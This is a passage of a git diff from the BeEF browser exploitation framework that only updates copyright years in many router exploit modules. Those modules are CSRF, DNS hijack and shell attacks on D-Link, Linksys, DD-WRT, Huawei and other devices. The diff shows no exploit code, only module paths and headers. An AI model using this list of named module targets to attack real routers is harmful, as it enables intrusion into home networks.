+++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/ddwrt_v24_sp1_csrf/command.js b/modules/exploits/router/ddwrt_v24_sp1_csrf/command.js index 8fcdb6f02..435fe222d 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_csrf/command.js +++ b/modules/exploits/router/ddwrt_v24_sp1_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml b/modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml index fa465ee59..ee796c45d 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml +++ b/modules/exploits/router/ddwrt_v24_sp1_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb b/modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb index de5988ea5..b895888a9 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb +++ b/modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dir_615_csrf/command.js b/modules/exploits/router/dlink_dir_615_csrf/command.js index a17c9bf7d..132887a48 100644 --- a/modules/exploits/router/dlink_dir_615_csrf/command.js +++ b/modules/exploits/router/dlink_dir_615_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dir_615_csrf/config.yaml b/modules/exploits/router/dlink_dir_615_csrf/config.yaml index 72925cd55..37108c490 100644 --- a/modules/exploits/router/dlink_dir_615_csrf/config.yaml +++ b/modules/exploits/router/dlink_dir_615_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dir_615_csrf/module.rb b/modules/exploits/router/dlink_dir_615_csrf/module.rb index 80ae06f32..476a0fdec 100644 --- a/modules/exploits/router/dlink_dir_615_csrf/module.rb +++ b/modules/exploits/router/dlink_dir_615_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js index a98b7585d..8996767c8 100644 --- a/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml index e1edde085..a065535b1 100644 --- a/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb index a281af040..50f456c1a 100644 --- a/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb +++ b/modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js index 8b8e320a5..05cefc91e 100644 --- a/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl2640u_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl2640u_dns_hijack/config.yaml index 7a5e3bd31..542fcb959 100644 --- a/modules/exploits/router/dlink_dsl2640u_dns_hijack/config.yaml +++ b/modules/exploits/router/dlink_dsl2640u_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2640u_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl2640u_dns_hijack/module.rb index 877f646d3..b50834b82 100644 --- a/modules/exploits/router/dlink_dsl2640u_dns_hijack/module.rb +++ b/modules/exploits/router/dlink_dsl2640u_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js index c816f0ab3..a2b7eb259 100644 --- a/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl2740r_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl2740r_dns_hijack/config.yaml index 64cba546a..8b9f570ca 100644 --- a/modules/exploits/router/dlink_dsl2740r_dns_hijack/config.yaml +++ b/modules/exploits/router/dlink_dsl2740r_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb index b76877296..b573f623b 100644 --- a/modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb +++ b/modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js index 092e271b4..7b6930075 100644 --- a/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl2780b_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl2780b_dns_hijack/config.yaml index e2f483f19..9fc983236 100644 --- a/modules/exploits/router/dlink_dsl2780b_dns_hijack/config.yaml +++ b/modules/exploits/router/dlink_dsl2780b_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl2780b_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl2780b_dns_hijack/module.rb index 1a46b689e..6e8a02972 100644 --- a/modules/exploits/router/dlink_dsl2780b_dns_hijack/module.rb +++ b/modules/exploits/router/dlink_dsl2780b_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl500t_csrf/command.js b/modules/exploits/router/dlink_dsl500t_csrf/command.js index e98b6768b..e2526d03d 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/command.js +++ b/modules/exploits/router/dlink_dsl500t_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml index 0e8b5ca18..a815c1ef0 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml +++ b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl500t_csrf/module.rb b/modules/exploits/router/dlink_dsl500t_csrf/module.rb index 02fa95cb0..2b125a3a3 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/module.rb +++ b/modules/exploits/router/dlink_dsl500t_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js b/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js index 7cc0ec678..7811f4ce7 100644 --- a/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js +++ b/modules/exploits/router/dlink_dsl526b_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/dlink_dsl526b_dns_hijack/config.yaml b/modules/exploits/router/dlink_dsl526b_dns_hijack/config.yaml index a9764ee6f..ba3028c4c 100644 --- a/modules/exploits/router/dlink_dsl526b_dns_hijack/config.yaml +++ b/modules/exploits/router/dlink_dsl526b_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/dlink_dsl526b_dns_hijack/module.rb b/modules/exploits/router/dlink_dsl526b_dns_hijack/module.rb index 47b63470e..4687b47b8 100644 --- a/modules/exploits/router/dlink_dsl526b_dns_hijack/module.rb +++ b/modules/exploits/router/dlink_dsl526b_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js index c56c06585..5de56a6c1 100644 --- a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js +++ b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/config.yaml b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/config.yaml index 7f60733d2..207ac83c0 100644 --- a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/config.yaml +++ b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/module.rb b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/module.rb index 055dc604a..2a378d254 100644 --- a/modules/exploits/router/exper_ewm01_adsl_dns_hijack/module.rb +++ b/modules/exploits/router/exper_ewm01_adsl_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/huawei_smartax_mt880/command.js b/modules/exploits/router/huawei_smartax_mt880/command.js index d4ed3c26e..8fa79e2fe 100644 --- a/modules/exploits/router/huawei_smartax_mt880/command.js +++ b/modules/exploits/router/huawei_smartax_mt880/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/huawei_smartax_mt880/config.yaml b/modules/exploits/router/huawei_smartax_mt880/config.yaml index 86d2919a2..205e65a2f 100644 --- a/modules/exploits/router/huawei_smartax_mt880/config.yaml +++ b/modules/exploits/router/huawei_smartax_mt880/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/huawei_smartax_mt880/module.rb b/modules/exploits/router/huawei_smartax_mt880/module.rb index dbd90bf6f..902908092 100644 --- a/modules/exploits/router/huawei_smartax_mt880/module.rb +++ b/modules/exploits/router/huawei_smartax_mt880/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js index e785a55fb..f93ae4a21 100644 --- a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js +++ b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/config.yaml b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/config.yaml index e9160f358..f5690b13f 100644 --- a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/config.yaml +++ b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/module.rb b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/module.rb index a57b4b7dd..0e93124eb 100644 --- a/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/module.rb +++ b/modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js index b2cca0db1..5721d4075 100644 --- a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js +++ b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/config.yaml b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/config.yaml index 280ad7d00..b5d12029d 100644 --- a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/config.yaml +++ b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/module.rb b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/module.rb index df99089be..13b90c46b 100644 --- a/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/module.rb +++ b/modules/exploits/router/inteno_eg101r1_voip_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_befsr41_csrf/command.js b/modules/exploits/router/linksys_befsr41_csrf/command.js index fd8916071..d52ab6941 100644 --- a/modules/exploits/router/linksys_befsr41_csrf/command.js +++ b/modules/exploits/router/linksys_befsr41_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_befsr41_csrf/config.yaml b/modules/exploits/router/linksys_befsr41_csrf/config.yaml index 5c8d281df..77272ec81 100644 --- a/modules/exploits/router/linksys_befsr41_csrf/config.yaml +++ b/modules/exploits/router/linksys_befsr41_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_befsr41_csrf/module.rb b/modules/exploits/router/linksys_befsr41_csrf/module.rb index 46121461c..e39c5f756 100644 --- a/modules/exploits/router/linksys_befsr41_csrf/module.rb +++ b/modules/exploits/router/linksys_befsr41_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_csrf/command.js b/modules/exploits/router/linksys_e2500_csrf/command.js index 131b4b907..067c64d01 100644 --- a/modules/exploits/router/linksys_e2500_csrf/command.js +++ b/modules/exploits/router/linksys_e2500_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_e2500_csrf/config.yaml b/modules/exploits/router/linksys_e2500_csrf/config.yaml index b9429e45b..f25291ed2 100644 --- a/modules/exploits/router/linksys_e2500_csrf/config.yaml +++ b/modules/exploits/router/linksys_e2500_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_csrf/module.rb b/modules/exploits/router/linksys_e2500_csrf/module.rb index a4f83a9aa..b0ee42ed0 100644 --- a/modules/exploits/router/linksys_e2500_csrf/module.rb +++ b/modules/exploits/router/linksys_e2500_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_dns_hijack/command.js b/modules/exploits/router/linksys_e2500_dns_hijack/command.js index f839676e3..9db7ff758 100644 --- a/modules/exploits/router/linksys_e2500_dns_hijack/command.js +++ b/modules/exploits/router/linksys_e2500_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_e2500_dns_hijack/config.yaml b/modules/exploits/router/linksys_e2500_dns_hijack/config.yaml index f115423cd..182de222e 100644 --- a/modules/exploits/router/linksys_e2500_dns_hijack/config.yaml +++ b/modules/exploits/router/linksys_e2500_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_dns_hijack/module.rb b/modules/exploits/router/linksys_e2500_dns_hijack/module.rb index 210c0bedd..54220cff9 100644 --- a/modules/exploits/router/linksys_e2500_dns_hijack/module.rb +++ b/modules/exploits/router/linksys_e2500_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_shell/command.js b/modules/exploits/router/linksys_e2500_shell/command.js index a9d3e0944..6a1b79fc2 100644 --- a/modules/exploits/router/linksys_e2500_shell/command.js +++ b/modules/exploits/router/linksys_e2500_shell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_e2500_shell/config.yaml b/modules/exploits/router/linksys_e2500_shell/config.yaml index ff93b78c5..3ef6549a3 100644 --- a/modules/exploits/router/linksys_e2500_shell/config.yaml +++ b/modules/exploits/router/linksys_e2500_shell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_e2500_shell/module.rb b/modules/exploits/router/linksys_e2500_shell/module.rb index fea3b1cc0..8b4005fbf 100644 --- a/modules/exploits/router/linksys_e2500_shell/module.rb +++ b/modules/exploits/router/linksys_e2500_shell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_wrt54g2_csrf/command.js b/modules/exploits/router/linksys_wrt54g2_csrf/command.js index e87442115..88416e653 100644 --- a/modules/exploits/router/linksys_wrt54g2_csrf/command.js +++ b/modules/exploits/router/linksys_wrt54g2_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml index 7e4f75162..b137b7e93 100644 --- a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml +++ b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_wrt54g2_csrf/module.rb b/modules/exploits/router/linksys_wrt54g2_csrf/module.rb index b72337036..41ff05f8d 100644 --- a/modules/exploits/router/linksys_wrt54g2_csrf/module.rb +++ b/modules/exploits/router/linksys_wrt54g2_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_wrt54g_csrf/command.js b/modules/exploits/router/linksys_wrt54g_csrf/command.js index f6e172d06..f6ac6adf3 100644 --- a/modules/exploits/router/linksys_wrt54g_csrf/command.js +++ b/modules/exploits/router/linksys_wrt54g_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml index 680728ea9..40f551b54 100644 --- a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml +++ 